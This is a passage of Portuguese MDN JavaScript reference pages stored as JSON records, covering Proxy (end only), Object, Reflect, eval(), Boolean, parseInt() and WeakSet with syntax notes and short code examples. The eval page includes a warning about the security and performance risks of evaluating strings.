oTarget.keys();\n  },\n  has: function (oTarget, sKey) {\n    return sKey in oTarget || oTarget.hasItem(sKey);\n  },\n  defineProperty: function (oTarget, sKey, oDesc) {\n    if (oDesc && \"value\" in oDesc) {\n      oTarget.setItem(sKey, oDesc.value);\n    }\n    return oTarget;\n  },\n  getOwnPropertyDescriptor: function (oTarget, sKey) {\n    var vValue = oTarget.getItem(sKey);\n    return vValue\n      ? {\n          value: vValue,\n          writable: true,\n          enumerable: true,\n          configurable: false,\n        }\n      : undefined;\n  },\n});\n\n/\\* Teste Cookies \\*/\n\nconsole.log((docCookies.my_cookie1 = \"First value\"));\nconsole.log(docCookies.getItem(\"my\\_cookie1\"));\n\ndocCookies.setItem(\"my\\_cookie1\", \"Changed value\");\nconsole.log(docCookies.my_cookie1);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-proxy-objects |\n\nNavegadores Compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas Especificas Gecko\n-----------------------\n\n* No momento, `Object.getPrototypeOf(proxy)` retorna incondicionalmente um `Object.getPrototypeOf(target)`, porque a trap ES2015 getPrototypeOf não foi implementada (Erro do Firefox 795904, Erro do Firefox 888969).\n* `Array.isArray(proxy)` retorna incondicionalmente um `Array.isArray(target)` (Erro do Firefox 1096753, Erro do Firefox 1111785).\n* `Object.prototype.toString.call(proxy)` retorna incondicionalmente `Object.prototype.toString.call(target)`, porque ES2015 Symbol.toStringTag não foi implementado (Erro do Firefox 1114580).\nVeja também\n-----------\n\n* \"Proxies are awesome\" Brendan Eich presentation at JSConf (slides)\n* ECMAScript Harmony Proxy proposal page e ECMAScript página de semântica de proxy Harmony\n* Tutorial em proxies\n* SpiderMonkey specific Old Proxy API\n* `Object.watch()` É um recurso não padrão, mas foi suportado no Gecko há muito tempo.\n`Nota de licença`\n-----------------\n\nAlguns conteúdos (texto, exemplos) nesta página foram copiados ou adaptados do ECMAScript wiki que contém à licença de conteúdo CC 2.0 BY-NC-SA."}
{"title":"Object - JavaScript","text":"Object\n======\n\nO construtor `Object` cria um wrapper de objeto.\n\nSintaxe\n-------\n```\n\n// Object initialiser or literal\n{ [ nameValuePair1[, nameValuePair2[, ...nameValuePairN] ] ] }\n\n// Called as a constructor\nnew Object([value])\n```\n\n### Parametros\n\n`nameValuePair1, nameValuePair2, ... nameValuePairN`\n\nPares de nomes (strings) e valores (qualquer valor) em que o nome é separado do valor por dois pontos.\n\n`value`\n\nQualquer valor.\n\nDescrição\n---------\n\nO construtor `Object` cria um wrapper de objeto para o valor fornecido. Se o valor for `null` ou `undefined`, ele criará e retornará um objeto vazio, caso contrário, retornará um objeto de um Type que corresponde ao dado valor. Se o valor já for um objeto, ele retornará o valor.\n\nQuando chamado em um contexto não-construtor, o `object` se comporta de forma idêntica ao `new Object ()`.\n\nVeja também object initializer / literal syntax.\n\nPropriedades do construtor `Object`\n-----------------------------------\n\n`Object.length`\n\nTem um valor de 1.\n\n`Object.prototype` (en-US)\n\nPermite a adição de propriedades a todos os objetos do tipo Object.\n\nMétodos do construtor `Object`\n------------------------------\n\n`Object.assign()`\n\nCopia os valores de todas as propriedades próprias enumeráveis de um ou mais objetos de origem para um objeto de destino.\n\n`Object.create()`\n\nCria um novo objeto com o objeto e as propriedades do protótipo especificado.\n\n`Object.defineProperty()`\n\nAdiciona a propriedade nomeada descrita por um determinado descritor a um objeto.\n\n`Object.defineProperties()`\n\nAdiciona as propriedades nomeadas descritas pelos descritores fornecidos a um objeto.\n\n`Object.entries()`\n\nRetorna uma matriz contendo todos os pares `[key, value]` das próprias propriedades de string enumeráveis de um determinado objeto.\n\n`Object.freeze()`\n\nCongela um objeto: outro código não pode excluir ou alterar nenhuma propriedade.\n\n`Object.fromEntries()`\n\nRetorna um novo objeto de um iterável de pares de valor-chave (reverso à `Object.entries`).\n\n`Object.getOwnPropertyDescriptor()`\n\nRetorna um descritor de propriedade para uma propriedade nomeada em um objeto.\n\n`Object.getOwnPropertyDescriptors()`\n\nRetorna um objeto contendo todos os descritores de propriedade para um objeto.\n\n`Object.getOwnPropertyNames()`\n\nRetorna uma matriz contendo os nomes de todas as propriedades enumeráveis e não enumeráveis do próprio objeto fornecido.\n\n`Object.getOwnPropertySymbols()`\n\nRetorna uma matriz de todas as propriedades de símbolo encontradas diretamente sobre um determinado objeto.\n\n`Object.getPrototypeOf()`\n\nRetorna o protótipo do objeto especificado.\n\n`Object.is()`\n\nCompara se dois valores são o mesmo valor. Equivale a todos os valores de `NaN` (que diferem da Comparação de Igualdade Abstrata e da Comparação de Igualdade Estrita).\n\n`Object.isExtensible()`\n\nDetermina se a extensão de um objeto é permitida.\n\n`Object.isFrozen()`\n\nDetermina se um objeto foi congelado.\n\n`Object.isSealed()`\n\nDetermina se um objeto está selado.\n\n`Object.keys()`\n\nRetorna uma matriz contendo os nomes de todas as propriedades de string enumeráveis do objeto fornecido.\n\n`Object.preventExtensions()`\n\nImpede qualquer extensão de um objeto.\n\n`Object.seal()`\n\nImpede que outro código exclua propriedades de um objeto.\n\n`Object.setPrototypeOf()`\n\nDefine o protótipo (isto é, a propriedade interna `[[Prototype]]`).\n\n`Object.values()`\n\nRetorna uma matriz contendo os valores que correspondem a todas as propriedades de string enumeráveis do próprio objeto.\n\nInstâncias de `Object` e `Object` de protótipo de objeto\n--------------------------------------------------------\n\nTodos os objetos em JavaScript são descendentes do `Object`; todos os objetos herdam métodos e propriedades de `Object.prototype` (en-US), embora eles possam ser substituídos. Por exemplo, protótipos de outros construtores substituem a propriedade `constructor` e fornecer seus próprios métodos `toString()`. As alterações no objeto de protótipo `Object` são propagadas para todos os objetos, a menos que as propriedades e os métodos sujeitos a essas alterações sejam substituídos na cadeia de protótipos.\n\n### Propriedades (enUS)\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Object/prototype', 'Properties')}}### Métodos (enUS)\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Object/prototype', 'Methods')}}Excluindo uma propriedade de um objeto\n--------------------------------------\n\nNão há nenhum método em um Objeto para excluir suas próprias propriedades (por exemplo, como `Map.prototype.delete()`). Para isso, é necessário usar o operador delete.\n\nExemplos\n--------\n\n### Usando `Object` com tipos `undefined` e `null`\n\nOs exemplos a seguir armazenam um `Object` vazio na variável \"`o`\":\n\n\n```js\nvar o = new Object();\n```\n\n\n\n```js\nvar o = new Object(undefined);\n```\n\n\n\n```js\nvar o = new Object(null);\n```\n\n### Using `Object` to create `Boolean` objects\n\nOs exemplos a seguir armazenam objetos `Boolean` na variável \"`o`\":\n\n\n```js\n// equivalent to o = new Boolean(true);\nvar o = new Object(true);\n```\n\n\n\n```js\n// equivalent to o = new Boolean(false);\nvar o = new Object(Boolean());\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object-objects |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Object initializer"}
{"title":"Reflect - JavaScript","text":"Reflect\n=======\n\n**Reflect** é um objeto nativo que provê métodos para operações JavaScript interceptáveis. Os métodos são os mesmos que o dos manipuladores de Proxy. `Reflect` não é um objeto de função, então não é construtível.\n\nDescrição\n---------\n\nAo contrário da maioria dos objetos globais, `Reflect` não é um construtor. Você não pode usá-lo com o operador new ou invocar o objeto `Reflect` como uma função. Todas as propriedades e métodos do `Reflect` são estáticos (igual o objeto `Math`).\n\nO objeto `Reflect` provê as seguintes funções estáticas as quais tem os mesmos nomes usados pelos métodos manipuladores de Proxy.\n\nAlguns deste métodos são também os mesmos correspondentes aos métodos em `Object`, embora eles tenham diferenças sutis entre eles.\n\nMétodos\n-------\n\n`Reflect.apply(target, thisArgument, argumentsList)`\n\nChama uma função de destino com os argumentos, conforme especificado pelo parâmetro *`argumentsList`*. Veja também `Function.prototype.apply()`.\n\n`Reflect.construct(target, argumentsList[, newTarget])`\n\nO operador new como uma função. Equivalente a chamada `new target(...args)`. Também possui a opção de especificar um `prototype` diferente\n\n`Reflect.defineProperty(target, propertyKey, attributes)`\n\nSimilar ao `Object.defineProperty()`. Retorna um `Boolean` com o valor `true` *se a propriedade foi definida com sucesso*.\n\n`Reflect.deleteProperty(target, propertyKey)` (en-US)\n\nO operador delete (en-US) como uma função. Equivalente a chamada `delete target[name]`.\n\n`Reflect.get()` (en-US), \"Reflect.get(*target*, *propertyKey*[, *receiver*])\"}}\n\nUma função que retorna o valor da propriedade. Funciona como obter uma propriedade de um objeto (`target[propertyKey]`) como uma função.\n\n`Reflect.getOwnPropertyDescriptor(target, propertyKey)` (en-US)\n\nSimilar ao `Object.getOwnPropertyDescriptor()`. Retorna um descritor de propriedade da propriedade dada se existir no objeto, `undefined` caso contrário.\n\n`Reflect.getPrototypeOf(target)` (en-US)\n\nIgual ao `Object.getPrototypeOf()`.\n\n`Reflect.has(target, propertyKey)` (en-US)\n\nO operador in como função. Retorna um `Boolean` indicando se existe uma propriedade própria ou herdada.\n\n`Reflect.isExtensible(target)` (en-US)\n\nIgual ao `Object.isExtensible()`. Retorna um `Boolean` com o valor `true` se o destino (parâmetro target) for extensível.\n\n`Reflect.ownKeys(target)` (en-US)\n\nRetorna uma matriz das chaves de propriedade do próprio objeto de destino (não herdadas).\n\n`Reflect.preventExtensions(target)` (en-US)\n\nSimilar ao `Object.preventExtensions()`. Retorna um `Boolean` com o valor `true` se a atualização foi bem sucedida.\n\n`Reflect.set(target, propertyKey, value[, receiver])`\n\nUma função que atribui valores a propriedades. Retorna um `Boolean` com o valor `true` se a atualização foi bem sucedida.\n\n`Reflect.setPrototypeOf(target, prototype)` (en-US)\n\nUma função que define o protótipo de um objeto (en-US). Retorna um `Boolean` com o valor `true` se a atualização foi bem sucedida.\n\nExemplos\n--------\n\n### Verificando se um objeto contém determinadas propriedades\n\n\n```js\nconst duck = {\n  name: \"Maurice\",\n  color: \"white\",\n  greeting: function () {\n    console.log(`Quaaaack! My name is ${this.name}`);\n  },\n};\n\nReflect.has(duck, \"color\");\n// true\nReflect.has(duck, \"haircut\");\n// false\n```\n\n### Retornando as próprias chaves do objeto\n\n\n```js\nReflect.ownKeys(duck);\n// [ \"name\", \"color\", \"greeting\" ]\n```\n\n### Adicionando uma nova propriedade ao objeto\n\n\n```js\nReflect.set(duck, \"eyes\", \"black\");\n// returns \"true\" if successful\n// \"duck\" now contains the property \"eyes: 'black'\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-reflect-object |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The `Proxy` global object.\n* The `handler` (en-US) object."}
{"title":"eval() - JavaScript","text":"eval()\n======\n\nResumo\n------\n\nA função **`eval()`** computa um código JavaScript representado como uma string.\n\nSintaxe\n-------\n\n\n```js\neval(string);\n```\n\n### Parâmetros\n\n`string`\n\nUma sequência de caracteres que representa uma expressão JavaScript, declaração, ou sequência de declarações. A expressão pode incluir variáveis e propriedades de objetos existentes.\n\n### Retorno\n\nÉ o valor computado do código passado para a função. Se o valor estiver vazio, retornará `undefined`.\n\nDescrição\n---------\n\n`eval() é uma função de propriedade do objeto global (window)`.\n\nO argumento da função `eval()` é uma string. Se a string representa uma expressão, `eval()` avalia a expressão. Se o argumento representa uma ou mais declarações em JavaScript, `eval()` avalia as declarações. Não chame o `eval()` para avaliar uma expressão aritmética; JavaScript avalia expressões aritméticas automaticamente.\n\nSe você construir uma expressão aritmética como uma string, você pode usar `eval()` para calcular o resultado depois. Por exemplo, suponha que você tenha uma variável x. Você pode adiar a avaliação de uma expressão envolvendo x atribuindo o valor de string da expressão, dizer `\"3 * x + 2\"`, a uma variável, e, em seguida, chamando `eval()` em um ponto posterior no seu script.\n\nSe o argumento de `eval()` não é uma string, `eval()` retorna o argumento inalterado. No exemplo a seguir, o construtor `String` é especificado, e `eval()` retorna um objeto `String` em vez de avaliar a string.\n\n\n```js\neval(new String(\"2 + 2\")); // retorna um objeto String contendo \"2 + 2\"\neval(\"2 + 2\"); // retorna 4\n```\n\n\nVocê pode contornar esta limitação de forma genérica usando `toString()`.\n\n\n```js\nvar expression = new String(\"2 + 2\");\neval(expression.toString()); // retorna 4\n```\n\n\nSe você usar a função `eval` *indiretamente*, invocando-a por outra referência além de `eval`, a partir do ECMAScript 5 funciona no escopo global ao invés do escopo local. Significa que, por exemplo, aquelas declarações de funções criam funções globais e que o código que está sendo avaliado não tem acesso às variáveis locais dentro do escopo onde está sendo chamada.\n\n\n```js\nfunction test() {\n  var x = 2,\n    y = 4;\n  console.log(eval(\"x + y\")); // Chamada direta, usa o escopo local, resulta em 6\n  var geval = eval; // equivalente a chamar eval no escopo global\n  console.log(geval(\"x + y\")); // Chamada indireta, usa o escopo global, lança uma exceção ReferenceError porque `x` não foi declarado\n  (0, eval)(\"x + y\"); // outro exemplo de chamada indireta\n}\n```\n\nNunca use `eval`!\n-----------------\n\n`eval()` é uma função perigosa, que executa o código passado com os privilégios do caller. Se você executar o `eval()` com uma sequência de caracteres que podem ser afetados por uma parte maliciosa, você pode acabar executando código malicioso na máquina do usuário com as permissões da sua página/extensão. Mais importante ainda, o código de terceiros pode ver o escopo em que `eval()` foi chamado, o que pode levar a possíveis ataques como `Function` não é suscetível.\n\n`eval()` é geralmente mais lento do que as alternativas, uma vez que tem de invocar o interpretador JS, enquanto muitos outros construtores são otimizados por *engines* de JS modernos.\n\nOs interpretadores modernos convertem javascript em código de máquina. Resumindo, o nome das variáveis será desmanchado. Portanto, o uso de `eval` forçará o navegador a fazer buscas caras para descobrir o endereço e seu valor no código de máquina. Além disso, novos valores podem ser introduzidos em `eval` como mudanças no tipo da variável, fazendo o navegador recalcular todo o código de máquina gerado anteriormente. Felizmente, existem alternativas mais seguras (e rápidas) ao `eval()` para usos comuns.\n\n### Acessando propriedades dos membros\n\nVocê não deve utilizar `eval()` para converter nomes de propriedades em propriedades. Considere o seguinte exemplo onde as propriedades do objeto a ser acessado não são conhecidas até o código ser executado. Isso pode ser feito com eval:\n\n\n```js\nvar obj = { a: 20, b: 30 };\nvar propname = getPropName(); //retorna \"a\" ou \"b\"\n\neval(\"var result = obj.\" + propname);\n```\n\n\nNo entanto, `eval()` não é necessário aqui. De fato, sua utilização não é recomendada. Ao invés disso, utilize os operadores de acesso (en-US), que são mais rápidos e seguros:\n\n\n```js\nvar obj = { a: 20, b: 30 };\nvar propname = getPropName(); //retorna \"a\" ou \"b\"\nvar result = obj[propname]; // obj[ \"a\" ] é o mesmo como obj.a\n```\n\n### Utilize funções ao invés de avaliar snippets de código\n\nJavaScript possui first-class functions, o que significa que você pode passar os argumentos para outras APIs, armazená-los em variáveis e propriedades de objeto, e assim por diante. Muitas APIs de DOM foram desenvolvidas com isso em mente, então você pode (e deve) escrever:\n\n\n```js\n// ao invés de setTimeout(\" ... \", 1000) use:\nsetTimeout(function() { ... }, 1000);\n\n// ao invés de elt.setAttribute(\"onclick\", \"...\") use:\nelt.addEventListener(\"click\", function() { ... } , false);\n```\n\n\nClosures são úteis como forma de criar funcções parametrizáveis sem concatenar strings.\n\n### Analisando JSON (convertendo string para objetos JavaScript)\n\nSe a string para a qual você está chamando o `eval()` contém dados (por exemplo, um array: `\"[1, 2, 3]\"`), ao invés de código, você deve considerar mudar para JSON, que permite a string usar um subconjunto de sintaxe Javascript para representar dados. Veja também Downloading JSON and JavaScript in extensions.\n\nPerceba que como a sintaxe JSON é limitada comparada com a sintaxe JavaScript, muitos literais JavaScript válidos não serão analisados como JSON. Por exemplo, trailing commas não são permitidas em JSON, e nomes de propriedades (keys) em literais de objetos devem ser colocados entre aspas. Certifique-se de usar um serializados JSON para gerar strings que serão analisadas como JSON mais tarde.\n\n### Passar dados em vez de códigos\n\nPor exemplo, uma extensão concebida para raspar conteúdos de páginas web pode ter as regras de raspagem definidas no XPath (en-US) em vez de código JavaScript.\n\n### Rodando o código com privilégios limitados\n\nSe você precisa executar o código, considere executá-lo com privilégios limitados. Esse conselho se aplica principalmente para extensões e aplicações XUL, que podem usar Components.utils.evalInSandbox para obter o resultado.\n\nExemplos\n--------\n\nOs exemplos a seguir mostram o retorno do `document.write` (en-US). No JavaScript rodando no server-side, você pode obter o mesmo resultado chamando o método `write()ao invés` de usar o `document.write()`.\n\n### Exemplo: Usando `eval`\n\nNo código a seguir, ambas as declarações contendo `eval()` retornam 42. A primeira avalia a string \"`x + y + 1`\"; a segunda avalia a string \"`42`\".\n\n\n```js\nvar x = 2;\nvar y = 39;\nvar z = \"42\";\neval(\"x + y + 1\"); // returns 42\neval(z); // returns 42\n```\n\n### Exemplo: Using `eval` to evaluate a string of JavaScript statements\n\nO exemplo a seguir usa `eval()` para avaliar a string `str`. Essa string consiste de instruções JavaScript que abrem uma caixa de diálogo de alerta e atribuem ao `z` o valor de 42 se `x` for cinco, e do contrário, atribui 0 a `z`. Quando a segunda instrução é executada, `eval()` fará com que essas instruções sejam executadas e também irá avaliar o conjunto de instruções e retornará o valor atribuído a z.\n\n\n```js\nvar x = 5;\nvar str = \"if (x == 5) {alert('z is 42'); z = 42;} else z = 0; \";\n\ndocument.write(\"<P>z is \", eval(str));\n```\n\n### Exemplo: A última expressão é avaliada\n\n`eval()` retorna o valor da última expressão avaliada.\n\n\n```js\nvar str = \"if ( a ) { 1+1; } else { 1+2; }\";\nvar a = true;\nvar b = eval(str); // returns 2\n\nalert(\"b is : \" + b);\n\na = false;\nb = eval(str); // returns 3\n\nalert(\"b is : \" + b);\n```\n\n### Exemplo: avaliar uma string definindo a função necessária \"(\" and \")\" como prefixo e sufixo\n\n\n```js\nvar fctStr1 = \"function a() {}\";\nvar fctStr2 = \"(function a() {})\";\nvar fct1 = eval(fctStr1); // return undefined\nvar fct2 = eval(fctStr2); // return a function\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-eval-x |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `uneval()`\n* Member operators (en-US)"}
{"title":"Boolean - JavaScript","text":"Boolean\n=======\n\nO objeto **`Boolean`** é um objeto wrapper para um valor booleano.\n\nSintaxe\n-------\n```\n\nnew Boolean([value])\n```\n\n### Parâmetros\n\n`value`\n\nOpcional. O valor inicial do objeto `Boolean.`\n\nDescrição\n---------\n\nO valor passado como primeiro parâmetro é convertido para um valor boleano, se necessário. Se o valor é omitido ou é `0`, `-0`, `null`, `false`, `NaN`, `undefined` ou é uma string vazia(`\"\"`), o objeto terá um valor inicial de `false`. Todos outros valores, incluindo qualquer objeto ou string `\"false\"`, criam um objeto com valor inicial `true`.\n\nNão confunda os valores primitivos Boolean `true` e `false` com os valores `true` and `false` do objeto `Boolean`.\n\nQualquer objeto cujo o valor não é `undefined` ou `null`, incluindo um objeto `Boolean` que o valor seja `false`, é avaliado para `true` quando passa por uma declaração condicional. Por exemplo, a condição a seguir `if` a declaração é avaliada como `true`:\n\n\n```js\nvar x = new Boolean(false);\nif (x) {\n  // esse código é executado\n}\n```\n\n\nEsse comportamento não se aplica aos primitivos `Boolean`. Por exemplo, a condição a seguir `if` a declaração é avaliada como `false`:\n\n\n```js\nvar x = false;\nif (x) {\n  // esse código não é executado\n}\n```\n\n\nNão use um objeto `Boolean` para converter um valor não-boleano para um valor boleano. Ao invés disso use `Boolean` como uma função para executar essa tarefa:\n\n\n```js\nvar x = Boolean(expression); // preferido\nvar x = new Boolean(expression); // não use\n```\n\n\nSe você especificar qualquer objeto, incluindo um objeto `Boolean` cujo valor é `false`, como valor inicial de um objeto `Boolean`, o novo objeto `Boolean` terá o valor de `true`.\n\n\n```js\nvar myFalse = new Boolean(false); // valor inicial false\nvar g = new Boolean(myFalse); // valor inicial true\nvar myString = new String(\"Hello\"); // objeto String\nvar s = new Boolean(myString); // valor inicial true\n```\n\n\nNão use um um objeto `Boolean` no lugar de um primitivo `Boolean`.\n\nPropriedades\n------------\n\n`Boolean.length`\n\nPropriedade Length cujo valor é 1.\n\n`Boolean.prototype` (en-US)\n\nRepresenta o protótipo para o construtor `Boolean`.\n\nMétodos\n-------\n\nO objeto global `Boolean` contém métodos próprios, entretanto, ele herda alguns métodos através da cadeia de protótipos:\n\nInstâncias `Boolean`\n--------------------\n\nTodas instâncias `Boolean` herdam de `Boolean.prototype` (en-US). Assim como todos os construtores, o protótipo do objeto dita as propriedades e métodos herdados.\n\n### Propriedades\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Boolean/prototype', 'Properties')}}### Métodos\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Boolean/prototype', 'Methods')}}Exemplos\n--------\n\n### Criando objetos `Boolean` com um valor inicial `false`\n\n\n```js\nvar bNoParam = new Boolean();\nvar bZero = new Boolean(0);\nvar bNull = new Boolean(null);\nvar bEmptyString = new Boolean(\"\");\nvar bfalse = new Boolean(false);\n```\n\n### Criando objetos `Boolean` com um valor inicial `true`\n\n\n```js\nvar btrue = new Boolean(true);\nvar btrueString = new Boolean(\"true\");\nvar bfalseString = new Boolean(\"false\");\nvar bSuLin = new Boolean(\"Su Lin\");\nvar bArrayProto = new Boolean([]);\nvar bObjProto = new Boolean({});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-boolean-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Boolean.prototype` (en-US)\n* Boolean\n* Boolean data type (Wikipedia)"}
{"title":"parseInt() - JavaScript","text":"parseInt()\n==========\n\nSumário\n-------\n\nA função **`parseInt()`** analisa um argumento `string` e retorna um inteiro na `base` especificada.\n\nSintaxe\n-------\n```\n\nparseInt(string, base);\n```\n\nParâmetros\n----------\n\n`string`\n\nO valor a analisar. Se o argumento `string` não for uma string, então o valor é convertido para uma string (utilizando a operação abstrata `ToString`). Os espaços em branco na `string` são ignorados.\n\n`base`\n\nUm inteiro entre `2` e `36` que representa a *base* da `string` (sistemas numéricos matemáticos) mencionada no parâmetro anterior. Especifique `10` para o sistema numérico decimal comumente usado por humanos. **Sempre especifique este parâmetro** para eliminar confusão do leitor e para garantir o comportamento esperado. Implementações diferentes produzem resultados diferentes quando `base` não é especificado, normalmente assumindo o valor como `10`.\n\n### Valor de retorno\n\nUm número inteiro analisado a partir da string fornecida. Se o primeiro caracter não puder ser convertido para um número, `NaN` é retornado.\n\nDescrição\n---------\n\nA função `parseInt` converte seu primeiro argumento para uma string, analisa, e retorna um inteiro ou `NaN`. Se não `NaN`, o valor retornado será a representação decimal inteira do primeiro argumento obtido como um número na base especificada. Por exemplo, uma*base* 10 indica para converter de um número decimal, 8 octal, 16 hexadecimal, e assim por diante. Para bases acima de `10`, as letras do alfabeto indicam numerais maiores que `9`. Por exemplo, para números hexadecimais (base 16), `A` até `F` são usados.\n\nSe `parseInt` encontrar um caracter que não seja um numeral na base especificada, ele o ignora e a todos os caracteres subsequentes e retorna o valor inteiro analisado até aquele ponto. `parseInt` trunca números para valores inteiros. Espaços no início e fim são permitidos.\n\nSe *base* é `undefined` ou 0 (ou ausente), JavaScript assume o seguinte:\n\n* Se a `string` de entrada começa com \"0x\" ou \"0X\", a *base* é 16 (hexadecimal) e o restante da string é analisado.\n* Se a `string` de entrada começa com \"0\", a *base* é oito (octal) ou 10 (decimal). Exatamente qual base é escolhida é dependente da implementação. O ECMAScript 5 especifica que 10 (decimal) seja utilizado, mas nem todos os browsers suportam isso ainda. Por essa razão **sempre especifique uma base quando estiver usando `parseInt`**.\n* Se a `string` de entrada começa com qualquer outro valor, a base é 10 (decimal).\n\nSe o primeiro caracter não puder ser convertido para um número, `parseInt` retorna `NaN`.\n\nPara propósitos aritméticos, o valor `NaN` não é um número em qualquer base. Você pode chamar a função `isNaN` para determinar se o resultado de `parseInt` é `NaN`. Se `NaN` for passado em operações aritméticas, o resultado da operação também será `NaN`.\n\nPara converter um número para seu literal string em uma base específica use `intValue.toString(base)`.\n\nExemplos\n--------\n\n### Exemplo: Usando `parseInt`\n\nOs seguintes exemplos sempre retornam **`15`**:\n```\n\nparseInt(\" 0xF\", 16);\nparseInt(\" F\", 16);\nparseInt(\"17\", 8);\nparseInt(021, 8);\nparseInt(\"015\", 10);\nparseInt(15.99, 10);\nparseInt(\"FXX123\", 16);\nparseInt(\"1111\", 2);\nparseInt(\"15*3\", 10);\nparseInt(\"15e2\", 10);\nparseInt(\"15px\", 10);\nparseInt(\"12\", 13);\n```\n\n\nOs seguintes exemplos sempre retornam **`NaN`**:\n```\n\nparseInt(\"Hello\", 8); // Não é realmente um número\nparseInt(\"546\", 2);   // Dígitos não são válidos para representações binárias\n```\n\n\nOs seguintes exemplos sempre retornam **`-15`**:\n```\n\nparseInt(\"-F\", 16);\nparseInt(\"-0F\", 16);\nparseInt(\"-0XF\", 16);\nparseInt(-15.1, 10)\nparseInt(\" -17\", 8);\nparseInt(\" -15\", 10);\nparseInt(\"-1111\", 2);\nparseInt(\"-15e1\", 10);\nparseInt(\"-12\", 13);\n```\n\n\nO seguinte exemplo retorna **`224`**:\n```\n\nparseInt(\"0e0\", 16);\n```\n\nInterpretação octal sem informar a base\n---------------------------------------\n\nEmbora desencorajado pelo ECMAScript 3 e proibido pelo ECMAScript 5, muitas implementações interpretam uma string numérica começando com um `0` como octal. O exemplo abaixo pode ter um resultado octal, ou ele pode ter um resultado decimal. **Sempre especifique uma base para evitar este comportamento não confiável.**\n```\n\nparseInt(\"0e0\"); // 0\nparseInt(\"08\"); // 0, '8' não é um dígito octal.\n```\n\n### O ECMAScript 5 remove a interpretação octal\n\nA especificação ECMAScript 5 da funcão `parseInt` não permite mais que as implementações tratem Strings começando com o caracter 0 como um valor octal. O ECMAScript 5 declara:\n\nA função `parseInt` produz um valor inteiro ditado pela interpretação do conteúdo de uma argumento string de acordo com uma base específicada. Espaços em branco no início da string são ignorados. Se a base for undefined ou `0`, ela é assumida como `10` exceto quando o número começa com os pares de caracter `0x` or `0X`, e neste caso a base 16 é assumida. Se a base é `16`, o número pode também opcionalmente começar com os pares de caracter `0x` or `0X`.\n\nIsto difere do ECMAScript 3, que desencoraja mas permite a interpretação octal.\n\nMuitas implementações não adotaram este comportamento a partir de 2013, e porque browser antigos devem ser suportados, **sempre especifique uma base**.\n\nUma função de análise mais rigorosa\n-----------------------------------\n\nÉ útil em algum momento ter uma maneira mais rigorosa para analisar valores inteiros. Expressões regulares podem ajudar:\n\n\n```js\nfilterInt = function (value) {\n  if (/^(\\-|\\+)?([0-9]+|Infinity)$/.test(value)) return Number(value);\n  return NaN;\n};\n\nconsole.log(filterInt(\"421\")); // 421\nconsole.log(filterInt(\"-421\")); // -421\nconsole.log(filterInt(\"+421\")); // 421\nconsole.log(filterInt(\"Infinity\")); // Infinity\nconsole.log(filterInt(\"421e+0\")); // NaN\nconsole.log(filterInt(\"421hop\")); // NaN\nconsole.log(filterInt(\"hop1.61803398875\")); // NaN\nconsole.log(filterInt(\"1.61803398875\")); // NaN\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-parseint-string-radix |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `parseFloat()`\n* `Number.parseFloat()`\n* `Number.parseInt()`\n* `isNaN()`\n* `Number.toString()`\n* `Object.valueOf`"}
{"title":"WeakSet - JavaScript","text":"WeakSet\n=======\n\nO objeto **WeakSet** pertmite que você armazene objetos mantidos \"fracamente\" na coleção.Syntaxe\n-------\n```\n\n new WeakSet([iterable]);\n```\n\n### Parâmetros\n\niterable\n\nSe umobjeto interagível é passado, todos os seus elementos serão adicionados ao novo `WeakSet`.\n\nDescrição\n---------\n\nObjetos `WeakSet` são coleções de objetos. Um objeto no `WeakSet` pode ocorrer uma vez; é único na coleção do `WeakSet`.\n\nAs principais diferenças para o objeto `Set` são:\n\n* Em contraste ao `Sets`, `WeakSets` são **coleções apenas de objetos** e não de valores arbitrários de qualquer tipo.\n* O `WeakSet` é *fraco*. Referências aos objetos nas coleções são mantidas \"fracamente\". Se não há outra referência para um objeto mantido na `WeakSet`, eles pode ser coletados pelo gerenciamento de memória (*garbage collection*).\nPropriedades\n------------\n\n`WeakSet.length`\n\nO valor da propriedade de comprimento é 0.\n\n`WeakSet.prototype` (en-US)\n\nRepresenta o protóripo para o construtos `Set`. Permite a adição de propriedades para todos os objetos do `WeakSet`.\n\n`Instâncias WeakSet`\n--------------------\n\nTodas as instâncias do `WeakSet` herdam do `WeakSet.prototype` (en-US).\n\n### Propriedades\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/WeakSet/prototype','Properties')}}### Métodos\n\n{{page('en-US/Web/JavaScript/Reference/Global\\_Objects/WeakSet/prototype','Methods')}}Exemplos\n--------\n\n### Usando o objeto do `WeakSet`\n\n\n```js\nvar ws = new WeakSet();\nvar obj = {};\nvar foo = {};\n\nws.add(window);\nws.add(obj);\n\nws.has(window); // true\nws.has(foo); // false, foo não foi adicionado ao set\n\nws.delete(window); // remove window do set\nws.has(window); // false, window foi removido\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-weakset-objects |\n\nCompatilidade de Browser\n------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`\n* `Set`\n* 